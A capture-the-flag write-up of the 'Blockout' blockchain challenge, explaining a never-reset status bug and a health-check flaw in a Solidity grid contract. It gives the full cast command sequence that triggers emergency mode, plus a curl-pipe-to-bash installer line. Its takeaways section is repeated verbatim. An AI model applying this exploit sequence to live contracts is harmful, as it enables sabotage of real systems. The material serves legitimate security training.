Cracking "Blockout": A Tale of Gaslighting Gateways in a Blockchain CTF
Capture The Flag (CTF) competitions are a fantastic way to test and hone cybersecurity skills. Recently, in the HTB's Global Cyber Skills Benchmark 2025, the "Blockout" challenge stood out as one of the trickier blockchain puzzles. Many participants found themselves scratching their heads, with 12 pwns in 3.5 days. With a bit of perseverance (and a few strategically placed cast
commands), we managed to be the first ones to plunge Volnaya's VCNKv2 power grid into darkness 12 hours in. This write-up details the journey, the vulnerabilities, and the exploit that led to capturing the flag: HTB{g4sL1ght1nG_th3_VCNK_its_GreatBl@ck0Ut_4ll_ov3r_ag4iN}
.
Prerequisites: Setting up Your Toolkit
Before diving into the challenge, you'll need a couple of essential tools:
-
Foundry: A blazing fast, portable, and modular toolkit for Ethereum application development. We'll primarily use
cast
from the Foundry suite to interact with the smart contracts. -
nc
(netcat): A versatile networking utility used here to communicate with the challenge server for obtaining details and submitting the flag.
Installing Foundry (on Linux)
If you don't have Foundry installed, you can get it by running:
curl -L https://foundry.paradigm.xyz | bash
# The pipe (|) bash will take your curl output
# and send it as an input for the next command
Then, in a new terminal session, run foundryup
to install the latest version:
foundryup
This will make cast
, forge
, and other Foundry tools available in your path.
Initial Reconnaissance: Connecting and Gathering Intel
The first step in any CTF is to understand the playground. The "Blockout" challenge provides a netcat interface that dispenses crucial information.
Connect to the server (e.g., 94.237.123.80:32139
in our case) and select option 1:
echo 1 | nc 94.237.123.80 32139
Your designated RPC an Player private key are:
RPC: http://94.237.123.80:42403
PrivateKey: 0xdedd2aa848b2344cc4f6d8c46dbfdb3a92146863574cadc0ea913422e23c5738
Your Player address is: 0xEdC1bBEa176cd432945180425795154b0Bba982F
The target contract VCNKv2 is deployed at: 0x64934dd027bDEA963fA623C28C476848CC55e468
The Setup contract is deployed at: 0x37F67BBEe5F98f3bf60D759D7185b6a87efA2f05
Make a note of these essential details:
-
Player Private Key:
0xdedd2aa848b2344cc4f6d8c46dbfdb3a92146863574cadc0ea913422e23c5738
(This is your identity on the blockchain) -
RPC URL:
http://94.237.123.80:42403
(Your connection point to the Ethereum node) -
Target Contract (VCNKv2):
0x64934dd027bDEA963fA623C28C476848CC55e468
(The main contract we need to exploit) -
Setup Contract:
0x37F67BBEe5F98f3bf60D759D7185b6a87efA2f05
(Used to check if the challenge is solved)
For the rest of this write-up, we'll use these values. Remember to replace them if you get different ones.
First Look: Understanding the Grid and the Goal
The challenge dropped us into a Foundry-based project. Our mission, as laid out in the Setup.sol
contract, was clear: we needed to set the controlUnit.status
within the VCNKv2
target contract to CU_STATUS_EMERGENCY
(which has a value of 3). In simpler terms, trip the main breaker.
// Excerpt from Setup.sol
function isSolved() public view returns (bool) {
uint8 CU_STATUS_EMERGENCY = 3; // Our target status
(uint8 status, , , , ) = TARGET.controlUnit(); // TARGET is the VCNKv2 contract
return status == CU_STATUS_EMERGENCY;
}
The VCNKv2.sol
contract represented the power grid's control system. It had a controlUnit
struct managing things like current capacity, the number of active power gateways, and their health. Emergency mode, we discovered, could be triggered in two ways, defined by the failSafeMonitor
modifier:
-
If
controlUnit.currentCapacity
dropped belowFAILSAFE_THRESHOLD
(10 ether). -
If
controlUnit.healthyGatewaysPercentage
fell below 50%.
// Excerpt from VCNKv2.sol - The critical modifier
modifier failSafeMonitor() {
if (controlUnit.currentCapacity <= FAILSAFE_THRESHOLD) {
controlUnit.status = CU_STATUS_EMERGENCY;
emit ControlUnitEmergencyModeActivated();
}
else if (controlUnit.healthyGatewaysPercentage < 50) { // This became our focus
controlUnit.status = CU_STATUS_EMERGENCY;
emit ControlUnitEmergencyModeActivated();
}
else {
_; // Continue normal operation
}
}
Initial thoughts gravitated towards draining the currentCapacity
. However, the system was designed to reset capacity after power delivery, making this a non-trivial path. The second condition, related to gateway health, seemed more promising.
The "I understand it now" Moments: Uncovering the Vulnerabilities
The path to victory involved exploiting a couple of subtle but critical flaws:
1. The Sticky Status Bug:
The requestPowerDelivery
function was central to the grid's operation. It would set controlUnit.status = CU_STATUS_DELIVERING
(status 2
) at the beginning of its execution. However, it had a crucial omission:
// Simplified excerpt from VCNKv2.sol - requestPowerDelivery
function requestPowerDelivery(uint256 _amount, uint8 _gatewayID) external /* ...modifiers... */ {
// ...
controlUnit.status = CU_STATUS_DELIVERING; // Status set to 2
controlUnit.currentCapacity -= _amount;
// ... power delivery logic ...
controlUnit.currentCapacity = MAX_CAPACITY; // Capacity reset
// BUG: controlUnit.status IS NEVER RESET TO IDLE!
}
The status was never reset back to CU_STATUS_IDLE
(status 1
)! This meant that after the first successful power delivery, the controlUnit
would be permanently stuck in the CU_STATUS_DELIVERING
state. This was key because other functions, including subsequent power deliveries, required an IDLE
state.
2. The Unhealthy Newcomers (Gateway Health Checks):
Gateways, the conduits of power, had a healthcheck()
function. The catch was how this interacted with newly registered gateways:
// Excerpt from VCNKv2.sol - Gateway's healthcheck
function healthcheck() external view onlyProxy returns (bool) {
return (
_kernel() != address(0) && // This is the important part
energyVault <= MAX_VAULT_CAPACITY
);
}
A newly registered gateway, it turned out, wouldn't have its _kernel()
address initialized immediately. This meant any new gateway would initially fail its health check if infrastructureSanityCheck()
(which iterates through gateways and updates their health status) was called.
This pair of vulnerabilities formed the backbone of our exploit. We could lock the system's main status and then manipulate the percentage of "healthy" gateways.
The Attack Strategy: Diluting Health
Our plan was as follows:
-
Prepare for Power Delivery: Increase the quota for the initial, healthy gateways (ID 0 and 1). This is a prerequisite for
requestPowerDelivery
. -
Trigger the Status Bug: Make one
requestPowerDelivery
call. This would deliver power but, more importantly, lockcontrolUnit.status
toCU_STATUS_DELIVERING
. -
Register "Unhealthy" Gateways: Repeatedly call
registerGateway()
. Each new gateway costs 20 ether. These new gateways, due to the_kernel()
issue, would be unhealthy once checked. -
Update Health Status: Call
infrastructureSanityCheck()
. This function iterates through all gateways, runs their respectivehealthcheck()
, and updates their status (and the overallhealthyGatewaysPercentage
). -
Tip the Scales: Register one final gateway. The
registerGateway()
function itself is protected by thefailSafeMonitor
. If, at the point of this call, thehealthyGatewaysPercentage
has dropped below 50% due to the influx of unhealthy new gateways, the monitor will trigger the emergency mode!
Initially, there are 2 gateways (ID 0 and 1), both healthy (100%).
-
After triggering the status bug and registering gateway 2 (total 3 gateways):
infrastructureSanityCheck()
leads to 2/3 healthy = 66%. -
Register gateway 3 (total 4 gateways):
infrastructureSanityCheck()
leads to 2/4 healthy = 50%. -
Register gateway 4 (total 5 gateways):
infrastructureSanityCheck()
leads to 2/5 healthy = 40%. <-- We are below the 50% threshold!
The next call to a function with failSafeMonitor
(like registerGateway()
again) should trigger the emergency.
Step-by-Step Exploitation with cast
Let's define our shell variables first, using the details we obtained:
export PLAYER_PRIVATE_KEY="0xdedd2aa848b2344cc4f6d8c46dbfdb3a92146863574cadc0ea913422e23c5738"
export RPC_URL="http://94.237.123.80:42403"
export TARGET_CONTRACT="0x64934dd027bDEA963fA623C28C476848CC55e468"
export SETUP_CONTRACT="0x37F67BBEe5F98f3bf60D759D7185b6a87efA2f05"
Step 1: Increase Quota for Initial Gateways
We need to allow gateways 0 and 1 to deliver power.
# Add 4 ether quota to Gateway 0
cast send $TARGET_CONTRACT "requestQuotaIncrease(uint8)" 0 \
--value 4ether \
--private-key $PLAYER_PRIVATE_KEY \
--rpc-url $RPC_URL
# Add 4 ether quota to Gateway 1
cast send $TARGET_CONTRACT "requestQuotaIncrease(uint8)" 1 \
--value 4ether \
--private-key $PLAYER_PRIVATE_KEY \
--rpc-url $RPC_URL
Step 2: Trigger the Status Bug via Power Delivery
Deliver 1 ether of power through gateway 0. This sets controlUnit.status
to DELIVERING
(2) and it will stay that way.
cast send $TARGET_CONTRACT "requestPowerDelivery(uint256,uint8)" 1000000000000000000 0 \
--private-key $PLAYER_PRIVATE_KEY \
--rpc-url $RPC_URL
At this point, controlUnit.status
is 2. We can verify this (optional):
cast call $TARGET_CONTRACT "controlUnit()(uint8,uint256,uint256,uint8,uint8)" --rpc-url $RPC_URL
# Look for the first return value (status)
Step 3: Register New (Unhealthy) Gateways and Update Health
We'll register three new gateways (IDs 2, 3, and 4). Each costs 20 ether. After each registration, we call infrastructureSanityCheck()
to update the health percentages.
# Register Gateway 2
cast send $TARGET_CONTRACT "registerGateway()" \
--value 20ether \
--private-key $PLAYER_PRIVATE_KEY \
--rpc-url $RPC_URL
cast send $TARGET_CONTRACT "infrastructureSanityCheck()" \
--private-key $PLAYER_PRIVATE_KEY \
--rpc-url $RPC_URL
# At this point, 2/3 gateways are healthy (66%)
# Register Gateway 3
cast send $TARGET_CONTRACT "registerGateway()" \
--value 20ether \
--private-key $PLAYER_PRIVATE_KEY \
--rpc-url $RPC_URL
cast send $TARGET_CONTRACT "infrastructureSanityCheck()" \
--private-key $PLAYER_PRIVATE_KEY \
--rpc-url $RPC_URL
# At this point, 2/4 gateways are healthy (50%)
# Register Gateway 4
cast send $TARGET_CONTRACT "registerGateway()" \
--value 20ether \
--private-key $PLAYER_PRIVATE_KEY \
--rpc-url $RPC_URL
cast send $TARGET_CONTRACT "infrastructureSanityCheck()" \
--private-key $PLAYER_PRIVATE_KEY \
--rpc-url $RPC_URL
# At this point, 2/5 gateways are healthy (40%)
We now have 5 gateways in total. The first two (0 and 1) are healthy, and gateways 2, 3, and 4 have failed their health checks. The healthyGatewaysPercentage
is 40%.
Step 4: The Final Push - Trigger Emergency Mode
Now, we register one more gateway. The registerGateway()
function has the failSafeMonitor
. Since our healthyGatewaysPercentage
(40%) is now less than 50%, this call will trigger the emergency mode.
cast send $TARGET_CONTRACT "registerGateway()" \
--value 20ether \
--private-key $PLAYER_PRIVATE_KEY \
--rpc-url $RPC_URL
If you inspect the transaction logs for this call (e.g., by looking it up on a block explorer if available, or by checking for events if Foundry tools allow), you'd see the ControlUnitEmergencyModeActivated
event. More importantly, controlUnit.status
is now 3
(CU_STATUS_EMERGENCY
).
We can confirm the status:
cast call $TARGET_CONTRACT "controlUnit()(uint8,uint256,uint256,uint8,uint8)" --rpc-url $RPC_URL
# The first returned value should now be 3
Verification and Flag Retrieval
First, let's confirm with the Setup
contract:
cast call $SETUP_CONTRACT "isSolved()" --rpc-url $RPC_URL
# This returns:
`0x0000000000000000000000000000000000000000000000000000000000000001`
# Which means `true`!
Now, to get the flag, we connect back to the challenge server using nc
and select option 3:
echo 3 | nc 94.237.123.80 32139
And out pops the flag: HTB{g4sL1ght1nG_th3_VCNK_its_GreatBl@ck0Ut_4ll_ov3r_ag4iN}
Key Takeaways from "Blockout"
This challenge was a masterclass in subtle smart contract vulnerabilities:
-
State Management is Crucial: Forgetting to reset a state variable (
controlUnit.status
) can have cascading consequences, fundamentally altering how a contract behaves. -
Initialization Matters: The way new gateways were initialized (or rather, not fully initialized before being available for health checks) was a key enabler. Proxies or complex contract interactions need careful handling of their initial state.
-
Modifiers Timing and Impact: Understanding when a modifier like
failSafeMonitor
executes its checks (before the main function body) is vital. The exploit relied on setting up a vulnerable state before calling a function that would then trigger the emergency condition via its modifier. -
Read the Whole Contract: Sometimes vulnerabilities aren't in one glaring line but in the interaction between multiple functions and state variables.
"Blockout" wasn't about finding an overflow or a reentrancy bug, but about understanding the logic flow and finding ways to manipulate the contract's state to an unintended (but desirable for us) outcome. It truly felt like we were "gaslighting" the VCNK system by convincing it that most of its gateways were down!
Key Takeaways from "Blockout"
This challenge was a masterclass in subtle smart contract vulnerabilities:
-
State Management is Crucial: Forgetting to reset a state variable (
controlUnit.status
) can have cascading consequences, fundamentally altering how a contract behaves. -
Initialization Matters: The way new gateways were initialized (or rather, not fully initialized before being available for health checks) was a key enabler. Proxies or complex contract interactions need careful handling of their initial state.
-
Modifiers Timing and Impact: Understanding when a modifier like
failSafeMonitor
executes its checks (before the main function body) is vital. The exploit relied on setting up a vulnerable state before calling a function that would then trigger the emergency condition via its modifier. -
Read the Whole Contract: Sometimes vulnerabilities aren't in one glaring line but in the interaction between multiple functions and state variables.